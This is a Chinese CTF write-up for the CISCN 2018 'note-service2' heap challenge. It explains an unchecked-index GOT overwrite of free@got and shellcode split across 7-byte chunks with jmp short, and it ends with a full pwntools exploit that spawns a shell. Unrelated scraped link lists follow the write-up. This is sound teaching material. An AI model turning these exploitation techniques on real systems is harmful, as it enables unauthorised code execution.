CISCN-2018-Quals-note-service2

总结

做完这道题,收获如下:

  • 1)汇编语句jmp short s,最后编译出来的机器码为\xEB\x??,问号代表pc寄存器会往前或往后跳转x个字节,x的范围为-128~127。要从??结束后算起。正数往前跳,负数往回跳。
  • 2)修改某个函数的got表地址后,可以将目标地址填充为一段shellcode,如果是在堆上,那么需要借助jmp short指令。算好偏移。
  • 3)mov rsi, 0xor rsi, rsi要长,尽量用后面的。
  • 4)mov rax, 0x3bmov eax, 0x3b要长,如果长度有限制就用后面的。

Checksec

发现关闭了NX,可能要利用shellcode。

题目分析

首先把附件放在IDA中打开,发现是个菜单题:

main

sub_E30:

menu:

add_note:

可以看到,没有检查idx是否合法,可以在任意地址写一个对地址。

注意:如果申请的大小为8,最多只能写7个字节。

delete_note:

选项2和选项3并没有什么用。

由于程序关闭了堆栈不可执行,因此可以考虑修改某一个函数got表的内容为堆地址,在堆上写shellcode。

解题思路

尝试的解题思路

  • 发现有UAF漏洞,看能不能从UAF入手,泄露出libc的基地址或程序的基地址。然后,一顿思考后,发现程序没有edit,没有show,还只让输入8个字节,这就有点难搞。所以这个思路不太行。

  • 由于在add_note中,没有校验输入的idx,所以是可以修改func@got的内容的,填充为一个堆地址。但是只让写7个字节,啥shellcode会这么短啊······谷歌后,发现一个gadgetjmp short,可以拼接跳转执行,再加上一些滑板指令,就能拼凑出完整的shellcode

    这里需要注意,只让写7个字节,所以指令的机器码不能太长,用xor代替mov,用mov eax, 0x3b代替mov rax , 0x3b。还有jmp short的机器码是\xEB,后面直接接一个偏移。偏移要算上后面的8个字节,加上下一个chunkpre_sizesize,所以一共是1+8+8+8=0x19 。也就是说前面填满5个字节,接一个\xEB\x19即可。

最终解题思路

  • 1)申请一块内存大小为8,内容/bin/sh
  • 2)修改free@got的内容为堆地址
  • 3)利用jmp short s往连续的几块chunk写入shellcodeshellcode为执行execve的系统调用。除去pop rdi; ret。因为free(ptr),会自动mov rdi, ptr
  • 4)调用delete_note,释放前面的/bin/sh的内存块

编写EXP

首先把函数写好:

def add_note(idx:int, size:int, content:bytes=b'\x00'):
global io
io.sendlineafter("your choice>> ", '1')
io.sendlineafter("index:", str(idx))
io.sendlineafter("size:", str(size))
io.sendlineafter("content:", content) def delete_note(idx:int):
global io
io.sendlineafter("your choice>> ", '4')
io.sendlineafter("index:", str(idx))

首先分配一块带有/bin/sh的,预备调用。然后,往索引为-17处分配,修改free@got的内容为堆地址,顺便写上一条shellcodexor rsi, rsi。这里选用\x0c作为滑板指令。

add_note(0, 8, b'/bin/sh')
add_note(-17 , 8, asm('xor rsi, rsi') + b'\x0C\x0C\xEB\x19')

-17的计算是这样的:

可以看到,free@got的偏移为0x202018,题目中存储堆地址起始位置为0x2020a0,所以索引就是(0x202018 - 0x2020a0) // 8 = -17

这里给出申请前后free@got的内容变化:

申请前:

申请后:

可以看到,free@got已修改成功,同时写上了xor rsi,rsi; \x0c\x0c\xeb\x19

然后继续写:

add_note(1, 8, asm('xor rdx, rdx') + b'\x0C\x0C\xEB\x19')
add_note(2, 8, asm('mov eax, 59') + b'\xEB\x19')
add_note(4, 8, asm('syscall'))

之后就会:

最后:

delete_note(0) # get shell

完整exp

from pwn import *

io = process('./note')

context.update(arch='amd64', os='linux', endian='little')

def add_note(idx:int, size:int, content:bytes=b'\x00'):
global io
io.sendlineafter("your choice>> ", '1')
io.sendlineafter("index:", str(idx))
io.sendlineafter("size:", str(size))
io.sendlineafter("content:", content) def delete_note(idx:int):
global io
io.sendlineafter("your choice>> ", '4')
io.sendlineafter("index:", str(idx)) # 利用 jmp short s指令写shellcode
# 修改free@got处地址为堆地址
add_note(0, 8, b'/bin/sh')
add_note(-17 , 8, asm('xor rsi, rsi') + b'\x0C\x0C\xEB\x19')
add_note(1, 8, asm('xor rdx, rdx') + b'\x0C\x0C\xEB\x19')
add_note(2, 8, asm('mov eax, 59') + b'\xEB\x19')
add_note(4, 8, asm('syscall')) delete_note(0) io.interactive()

CISCN-2018-Quals-note-service2的更多相关文章

  1. Google Capture The Flag 2018 (Quals) - Reverse - Beginner's Quest - Gatekeeper

    参考链接:https://ctftime.org/task/6264 题目 It's a media PC! All fully purchased through the online subscr ...

  2. Google Capture The Flag 2018 (Quals) - Beginner's Quest - Reverse - Firmware

    参考链接:https://ctftime.org/task/6263 题目 After unpacking the firmware archive, you now have a binary in ...

  3. OpenStack 2018 年终盘点

    目录 文章目录 目录 前言 OpenStack 一年来的成长 Nova Cinder Neutron Ironic Cyborg Octavia Kolla Magnum Zun Kuryr 从 Op ...

  4. CTF各种资源:题目、工具、资料

    目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...

  5. 2018 CISCN reverse wp

    2018 CISCN reverse wp 这题比赛的时候没做出来,主要是心态崩了看不下去..赛后看了下网上的wp发现不难,是自己想复杂了.这里将我的思路和exp放出来,希望大家一起交流学习. mai ...

  6. 【2018.10.2】Note of CXM

    1.有一张无向图,现在要给每个点染上黑色或白色,最后每个点的染色代价是它与离这个点最近的不同色节点的距离.求最小代价.所有边权$\geq 0$且互不相同. 分三种情况: 两点都染了色:两点都跟其它点算 ...

  7. Note | Git

    目录 1. 出发 A. 安装 B. 设置机器身份 C. 创建版本(仓)库 repository D. 可管理文件 2. 基础操作 A. 添加文件至仓库 B. 修改文件并查看修改 C. 查看历史变动 D ...

  8. ACM-ICPC 2018 南京赛区网络预赛 E题

    ACM-ICPC 2018 南京赛区网络预赛 E题 题目链接: https://nanti.jisuanke.com/t/30994 Dlsj is competing in a contest wi ...

  9. BlackHat Arsenal USA 2018 ToolsWatch黑客工具库

    原文链接:https://medium.com/hack-with-github/black-hat-arsenal-usa-2018-the-w0w-lineup-7de9b6d32796 Blac ...

  10. 日常英语---七、[Updated November 14 at 4:10 PM PST] Scheduled Game Update - November 14, 2018(n.标准)

    日常英语---七.[Updated November 14 at 4:10 PM PST] Scheduled Game Update - November 14, 2018(n.标准) 一.总结 一 ...

随机推荐

  1. Hyper-V安装CentOS修改分辨率

    grubby --update-kernel=ALL --args="video=hyperv_fb:1600x900" reboot https://blog.csdn.net/ ...

  2. Vue的七种传值方式

    目录 1,父传子 2,子传父 3,兄弟组件传值 4,父组件使用子组件的数据和方法 5,子组件使用父组件的数据和方法 6,Vuex传值 6.1,定义store 6.2,挂载 6.3,使用 7,路由传值 ...

  3. 浅谈Webpack模块打包工具三

    Source Map 生产代码与开发代码完全不同,如果需要调试应用的话会非常的麻烦,错误信息无法定位,Soutce Map就会逆向得到源代码, 须在打包之后的代码文件的末尾位置例如添加//# sour ...

  4. MySQL 回表查询 & 索引覆盖优化

    回表查询 先通过普通索引的值定位聚簇索引值,再通过聚簇索引的值定位行记录数据 建表示例 mysql> create table user( -> id int(10) auto_incre ...

  5. Failed to start LSB 网络服务启动失败

    有些时候 VMare虚拟机挂起,重新运行后,XShell远程连接不上,检查VMare虚拟机,重启网卡会报错,查看日志,会有 Failed to start LSB .... CentOS7 会有一个网 ...

  6. 写给程序员的机器学习入门 (十一) - 对象识别 YOLO - 识别人脸位置与是否戴口罩

    这篇将会介绍目前最流行的对象识别模型 YOLO,YOLO 的特征是快,识别速度非常快

  7. Web 前端页面性能监控指标

    Web 前端页面性能监控指标 性能监控 / 性能指标 / 性能优化 白屏时间计算 FCP 白屏时间:从浏览器输入地址并回车后到页面开始有内容的时间: 首屏时间计算 FMP 首屏时间:从浏览器输入地址并 ...

  8. Battery API All In One

    Battery API All In One https://caniuse.com/?search=Battery navigator.getBattery() /* Promise {<pe ...

  9. GitHub Actions & GitHub Secrets

    GitHub Actions & GitHub Secrets tokens & private variable GitHub Secrets https://github.com/ ...

  10. web components & publish custom element & npm

    web components & publish custom element & npm https://www.webcomponents.org/publish Polymer ...